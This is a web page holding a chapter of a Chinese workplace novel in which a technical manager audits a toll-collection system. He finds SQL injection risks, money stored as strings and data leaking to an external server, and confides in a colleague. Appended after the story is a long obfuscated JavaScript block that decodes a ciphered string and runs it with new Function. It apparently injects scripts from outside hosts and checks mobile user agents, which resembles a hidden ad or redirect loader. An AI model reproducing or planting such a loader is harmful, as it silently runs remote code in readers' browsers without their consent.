首页
第24章 安全会议
返回

第24章 安全会议

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    第24章安全会议(第1/2页)
    陈默难得的轻松起来。每天的工作很清晰明确,带领技术人员对既有项目平台实施维护,制定下一年度的工作计划、以及对技术人员的年终考核评分。
    同时,陈默每天都坚持与老周、李思涵、王宇同步联网收费系统升级改造项目的进展与风险点等信息,并做好相关信息的备份。这项工作陈默并没有对其他人说。
    春节后,在集团的表彰大会上,张国华代表运营公司领取了安全生产先进单位、信息化建设先进单位两个集体奖,以及颁发给他的安全生产先进个人奖。
    在随后运营公司年终总结表彰大会上,勾成获得了优秀管理者奖项。坐在台下的于剑和陈默两人,看着在台上领奖的勾成一副意气风发的样子,彼此看了一眼,机械的鼓了鼓掌。除此之外,数智公司再无收获。
    值得一提的是,集团要求联网收费系统升级改造项目必须在六月底前完成发版上线,并且列入了新的一年对运营公司上半年的主要考核项之一。
    在运营公司内部会议上,张国华强硬要求智通科技必须按集团要求执行,不许打折扣,并要求专项小组做好项目跟踪协调工作。接到通知的勾成、李明远等人虽然都面带难色,但也只能硬着头皮答应了下来。
    三月中旬,陈清飞结束学习,回到了运营公司。
    在回到单位的第二天,陈清飞就把于剑、陈默、勾成叫到办公室,详细询问联网收费项目的具体进展情况。当他听到陈默说他不参与联网收费项目的事情后,虽然他早就知道此事,但还是意味深长地看了勾成一眼,说了一句:瞎胡闹。打发走了勾成,陈清飞又安慰了于剑和陈默两人几句,谈话就这样在一片充满了温馨和关心的氛围中结束了。但在临走前,陈清飞拍着陈默的肩膀小声说的那句“离开项目专项组,对你、对我、以及对项目,未尝不是一件好事。你的能力我清楚,今后会有更大的任务等着你的”,叫陈默心里立刻起了警惕。
    回到办公室的陈默,仔细回忆了一下在陈清飞办公室的所有细节,想着想着,一个大胆的念头出现在脑子里:难道他是想...这个念头一出现,就不受控的蔓延开来。越想越觉得有可能,越想也越觉得水变得越来越深了。
    算了,那些都不是自己能掺和的,还是顾好自己吧。陈默如是告诫自己。但他决定从今天开始,每周都要详细排查一次联网收费项目的代码提交情况、bug修改情况、以及数据安全情况。力争做到心中有数据、手中有实物,以备不时之需。
    年初的各种会议多的叫人心烦,大部分都是些没有意义的务虚会。领导的讲话也是千篇一律的‘务必重视’、‘严格落实’、‘提高政治站位’、‘做好廉洁自律’、‘降本增效’、‘精细化管控’等内容。在文山会海中,三月份就这么结束了。
    4月3日,周三。
    下午,陈默坐在自己的办公室里,开始排查联网收费系统的代码质量、进度、bug数、数据安全。
    他先从于剑那里要来了工程组报上来的3月份月度总结报告。随后用老周提供的主管理员账号登录了服务器后台管理系统和git代码仓库。
    越查,陈默越是气愤。不是没有问题,而是问题太多。距离集团要求的六月底,满打满算还有三个月,可是至少要提前半个月到一个月,部署到一个车流量少的收费站点做试运行吧。可陈默看到的结果,可以明确的说,基本是不可能的了。
    数据库没有索引。一个简单的查询都需要走全表扫描,每次都要把整张表读进内存。
    与外部公网IP的通讯依然时有出现,年前的事看来并没有得到彻底解决。
    应用系统日志里,ERROR级别的日志密密麻麻,像一群蚂蚁在屏幕上爬行。
    扣费模块里存在着空指针异常。
    计费模块,频繁的创建对象,还不及时释放,导致内存溢出现象频发。
    查询日志里,每条查询都要在3秒以上,很明显,都是索引的锅。
    bug管理系统,登记的七百多条bug,没有一条修改记录。
    代码仓库里,陈默随机下载了几个文件,满屏的所有数据库操作都写在Servlet的doPost方法里,没有分层,没有事务管理,SQL语句用字符串拼接,用户输入的参数直接拼进SQL里。
    “用最简单的SQL注入就可以攻击。”陈默嘀咕着,“稍微懂一点技术的人,就可以篡改交易金额。”
    再查看数据库表结构。表名是拼音缩写,字段名也是拼音,没有任何注释。有一个字段叫“je“,陈默猜了一会,才知道是‘金额’。字段类型是VARCHAR,长度五十。金额数据竟然用字符串类型存,也只是活见鬼了。怎么做数值计算?怎么做精度校验?继续查看相应的代码文件,进一步发现在计算的时候,使用Double.parseDouble进行类型转换。难道智通科技的研发人员就没考虑Double的精度问题吗?大学时候就学过的知识点,为什么在如此重要的系统里却忘记了呢?每次转换相差一分钱两分钱,积少成多,几千万笔交易,最终差额有多大?
    (本章未完,请点击下一页继续阅读)第24章安全会议(第2/2页)
    陈默把自己弄郁闷了。
    他把这些日志和问题做了分类整理,用Excel做了一个表格。四列:问题类型、问题描述、影响范围、严重程度。
    不到一个小时,他就写了四十七条,写完第四十八条的时候,他犹豫了:
    ‘数据同步至外部服务器,违反数据安全规定,存在数据泄露风险。’
    写还是不写?如果不写,一旦后续被集团或省厅发现,就是个大雷。如果写了,自己又不在项目组了,事后张国华、王虹等人会不会迁怒到自己头上?
    看了眼时间,马上下班了。陈默保存好文件,该截图的截图、该下载原始文件的下载原始文件,一并拷贝到自己的U盘里,随后关闭了文件,并退出了服务器。
    做完这一切的陈默,坐在椅子上,一边用手按着自己的太阳穴,一边思索着如何处理。
    就在这时,门被敲响了。
    “请进。”陈默对着门口说道。
    门被应声推开了,进来的是运营公司办公室的张慕琪,她看着陈默,直接说道:“陈总不好意思,打扰你了。是这样的,马上就放清明假了。刚才张书记电话通知我们办公室,在10分钟后召开安全生产会,要求各部门负责人子分公司的班子成员都要参加。不知道您是否方便?”
    听张慕琪说完,陈默痛快地说道:“我没问题。在哪个会议室?我现在就过去。”
    张慕琪说道:“那您现在跟我一起过去就可以。”
    闻言,陈默随即起身,跟着张慕琪向会议室走去。
    安全生产会不到半个小时就开完了。
    陈默和于剑一起走出了会议室,两个人边走边闲聊。很快就到了于剑办公室的门口,于剑对着陈默说道:“忙着回家吗?不忙就进来一起抽根烟。”
    陈默纠结了一下,但最终还是迈步走了进去。
    一根烟很快就抽完了,看着于剑日渐憔悴的面孔,想着两个人一起共事接近6年的点点滴滴,最后陈默还是决定和盘托出。
    “老于,有个事我想了又想,最后还是决定和你说一声。”陈默一脸严肃地对着于剑说道。
    于剑有些不解地看着陈默,说道:“啥事?咋还弄得这么严肃呢?”
    陈默并没有直接回答于剑,而是说道:“但在和你说之前,我要明确一下,这件事我和你说过后,接下来怎么做就与我无关了。”
    见状,于剑坐直了身子,郑重地说道:“你说吧。”
    于是陈默就把下午他查到的问题对于剑讲了一遍。
    而此时,于剑的表情阴沉得快要滴出水了。他恨恨地说道:“特么的,智通科技这是想干什么?你自己想死别拉着老子坐垫背的啊。”说着,又拿起烟点着。
    吐出嘴里的那口烟,于剑有些郁闷地对陈默说道:“去年把你调离项目组,我就不同意。别人不知道,你应该很清楚,凭我和王宇,根本就不可能起到很好的监管作用。可是人微言轻,我说的话,在人家面前,都不如一个屁。”
    看着于剑的样子,陈默想了想,说道:“老于,现在发现问题也不晚。还有两个月到三个月的时间。我建议你在节后,可以借着今天安全生产会这个东风,主动要求开一个现场进度汇报会,到时候拉着沈总和陈总。你说呢?”
    于剑想了一会儿,紧皱的眉头舒展了一些,说道:“那我明天就去推动这个会,趁热打铁。”
    陈默则摇摇头,说道:“别急,我明早把问题再整理一下,然后拿U盘拷给你。你自己也得先消化一下吧。这样你才能在现场汇报会上,做到有的放矢。”
    于剑点了点头,说道:“放在几年前,我自己也差不多能发现你说的那些问题。现在不行了,技术丢了一大半了。”
    说到这里,他站起了身,对着陈默说道:“走,今晚我请你喝酒。”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();